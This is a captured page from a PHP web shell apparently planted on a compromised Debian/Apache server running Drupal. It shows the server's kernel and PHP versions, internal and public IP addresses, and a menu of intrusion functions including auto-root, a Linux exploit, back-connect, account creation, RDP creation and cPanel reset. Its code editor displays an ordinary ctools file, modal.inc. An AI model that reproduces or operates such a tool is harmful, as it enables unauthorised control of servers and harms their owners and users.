Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.145.58.141
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
ctools /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
action-links.theme.inc
697
B
-rw-r--r--
ajax.inc
4.67
KB
-rw-r--r--
cache.inc
5.79
KB
-rw-r--r--
cache.plugin-type.inc
236
B
-rw-r--r--
cleanstring.inc
7.66
KB
-rw-r--r--
collapsible.theme.inc
2.46
KB
-rw-r--r--
content.inc
25.63
KB
-rw-r--r--
content.menu.inc
6.67
KB
-rw-r--r--
content.plugin-type.inc
381
B
-rw-r--r--
content.theme.inc
458
B
-rw-r--r--
context-access-admin.inc
15.17
KB
-rw-r--r--
context-admin.inc
27.37
KB
-rw-r--r--
context-task-handler.inc
17.42
KB
-rw-r--r--
context.inc
47.33
KB
-rw-r--r--
context.menu.inc
1.23
KB
-rw-r--r--
context.plugin-type.inc
545
B
-rw-r--r--
context.theme.inc
12.42
KB
-rw-r--r--
css-cache.inc
971
B
-rw-r--r--
css.inc
17.43
KB
-rw-r--r--
dependent.inc
6.16
KB
-rw-r--r--
dropbutton.theme.inc
5.05
KB
-rw-r--r--
dropdown.theme.inc
3.1
KB
-rw-r--r--
entity-access.inc
4.61
KB
-rw-r--r--
export-ui.inc
16.62
KB
-rw-r--r--
export-ui.menu.inc
710
B
-rw-r--r--
export-ui.plugin-type.inc
536
B
-rw-r--r--
export.inc
39.03
KB
-rw-r--r--
fields.inc
12.42
KB
-rw-r--r--
jump-menu.inc
4.6
KB
-rw-r--r--
language.inc
1.18
KB
-rw-r--r--
math-expr.inc
17.69
KB
-rw-r--r--
menu.inc
3.28
KB
-rw-r--r--
modal.inc
7.77
KB
-rw-r--r--
object-cache.cron.inc
345
B
-rw-r--r--
object-cache.inc
6.39
KB
-rw-r--r--
page-wizard.inc
5.12
KB
-rw-r--r--
page-wizard.menu.inc
756
B
-rw-r--r--
plugins-admin.inc
7.38
KB
-rw-r--r--
plugins.inc
31.89
KB
-rw-r--r--
registry.inc
3
KB
-rw-r--r--
stylizer.inc
48.24
KB
-rw-r--r--
stylizer.theme.inc
647
B
-rw-r--r--
utility.inc
1.05
KB
-rw-r--r--
uuid.inc
1.97
KB
-rw-r--r--
views.inc
879
B
-rw-r--r--
wizard.inc
17.74
KB
-rw-r--r--
wizard.theme.inc
539
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : modal.inc
<?php /** * @file * Implement a modal form using AJAX. * * The modal form is implemented primarily from mc.js; this contains the * Drupal specific stuff to use it. The modal is fairly generic and can * be activated mostly by setting up the right classes, but if you are * using the modal you must include links to the images in settings, * because the javascript does not inherently know where the images are. * * You can accomplish this with this PHP code: * @code { * ctools_include('modal'); * ctools_modal_add_js(); * } * * You can have links and buttons bound to use the modal by adding the * class ctools-use-modal. * * For links, the href of the link will be the destination, with any * appearance of /nojs/ converted to /ajax/. * * For submit buttons, however, the URL is found a different, slightly * more complex way. The ID of the item is taken and -url is appended to * it to derive a class name. Then, all form elements that contain that * class name are founded and their values put together to form a URL. * * For example, let's say you have an 'add' button, and it has a select * form item that tells your system what widget it is adding. If the id * of the add button is edit-add, you would place a hidden input with * the base of your URL in the form and give it a class of 'edit-add-url'. * You would then add 'edit-add-url' as a class to the select widget * allowing you to convert this value to the form without posting. * * If no URL is found, the action of the form will be used and the entire * form posted to it. */ function ctools_modal_add_js() { // Provide a gate so we only do this once. static $done = FALSE; if ($done) { return; } $settings = array( 'CToolsModal' => array( 'loadingText' => t('Loading...'), 'closeText' => t('Close Window'), 'closeImage' => theme('image', array( 'path' => ctools_image_path('icon-close-window.png'), 'title' => t('Close window'), 'alt' => t('Close window'), )), 'throbber' => theme('image', array( 'path' => ctools_image_path('throbber.gif'), 'title' => t('Loading...'), 'alt' => t('Loading'), )), ), ); drupal_add_js($settings, 'setting'); drupal_add_library('system', 'jquery.form'); drupal_add_library('system', 'drupal.progress'); drupal_add_library('system', 'drupal.ajax'); drupal_add_library('system', 'ui'); ctools_add_js('modal'); ctools_add_css('modal'); $done = TRUE; } /** * @todo this is deprecated */ function ctools_modal_add_plugin_js($plugins) { $css = array(); $js = array(drupal_get_path('module', 'ctools') . '/js/dependent.js' => TRUE); foreach ($plugins as $subtype) { if (isset($subtype['js'])) { foreach ($subtype['js'] as $file) { if (file_exists($file)) { $js[$file] = TRUE; } else if (file(exists($subtype['path'] . '/' . $file))) { $js[$subtype['path'] . '/' . $file] = TRUE; } } } if (isset($subtype['css'])) { foreach ($subtype['css'] as $file) { if (file_exists($file)) { $css[$file] = TRUE; } else if (file(exists($subtype['path'] . '/' . $file))) { $css[$subtype['path'] . '/' . $file] = TRUE; } } } } foreach (array_keys($js) as $file) { drupal_add_js($file); } foreach (array_keys($css) as $file) { drupal_add_css($file); } } /** * Place HTML within the modal. * * @param $title * The title of the modal. * @param $html * The html to place within the modal. */ function ctools_modal_command_display($title, $html) { if (is_array($html)) { $html = drupal_render($html); } return array( 'command' => 'modal_display', 'title' => $title, 'output' => $html, ); } /** * Dismiss the modal. */ function ctools_modal_command_dismiss() { return array( 'command' => 'modal_dismiss', ); } /** * Display loading screen in the modal */ function ctools_modal_command_loading() { return array( 'command' => 'modal_loading', ); } /** * Render an image as a button link. This will automatically apply an AJAX class * to the link and add the appropriate javascript to make this happen. * * @param $image * The path to an image to use that will be sent to theme('image') for rendering. * @param $dest * The destination of the link. * @param $alt * The alt text of the link. * @param $class * Any class to apply to the link. @todo this should be a options array. */ function ctools_modal_image_button($image, $dest, $alt, $class = '') { return ctools_ajax_text_button(theme('image', array('path' => $image)), $dest, $alt, $class, 'ctools-use-modal'); } /** * Render text as a link. This will automatically apply an AJAX class * to the link and add the appropriate javascript to make this happen. * * Note: 'html' => true so be sure any text is vetted! Chances are these kinds of buttons will * not use user input so this is a very minor concern. * * @param $text * The text that will be displayed as the link. * @param $dest * The destination of the link. * @param $alt * The alt text of the link. * @param $class * Any class to apply to the link. @todo this should be a options array. */ function ctools_modal_text_button($text, $dest, $alt, $class = '') { return ctools_ajax_text_button($text, $dest, $alt, $class, 'ctools-use-modal'); } /** * Wrap a form so that we can use it properly with AJAX. Essentially if the * form wishes to render, it automatically does that, otherwise it returns * the render array so we can see submission results. * @param array $form * An associative array containing the structure of the form. * @param array $form_state * An associative array containing the current state of the form. * If the 'reset_html_ids' key is set to TRUE, it will prevent HTML IDs in * forms from being incremented. * * @return mixed * The output of the form, if it was rendered. If $form_state['ajax'] * is set, this will use ctools_modal_form_render so it will be * a $command object suitable for ajax_render already. * * If the form was not rendered, the raw render array will be returned. * * If ajax is set the form will never be redirected. */ function ctools_modal_form_wrapper($form_id, &$form_state) { // Since this will run again on form rebuild while still in the modal, prevent // form IDs from being incremented. // @todo https://drupal.org/node/1305882 if (!empty($form_state['reset_html_ids']) && !empty($_POST['ajax_html_ids'])) { unset($_POST['ajax_html_ids']); } // This won't override settings already in. $form_state += array( 're_render' => FALSE, 'no_redirect' => !empty($form_state['ajax']), ); $output = drupal_build_form($form_id, $form_state); if (!empty($form_state['ajax']) && (!$form_state['executed'] || $form_state['rebuild'])) { return ctools_modal_form_render($form_state, $output); } return $output; } /** * Render a form into an AJAX display. */ function ctools_modal_form_render($form_state, $output) { if (is_array($output)) { $output = drupal_render($output); } $title = empty($form_state['title']) ? drupal_get_title() : $form_state['title']; // If there are messages for the form, render them. if ($messages = theme('status_messages')) { $output = $messages . $output; } $commands = array(); // If the form has not yet been rendered, render it. $commands[] = ctools_modal_command_display($title, $output); return $commands; } /** * Perform a simple modal render and immediately exit. * * This is primarily used for error displays, since usually modals will * contain forms. */ function ctools_modal_render($title, $output) { $commands = array(); $commands[] = ctools_modal_command_display($title, $output); print ajax_render($commands); }
Close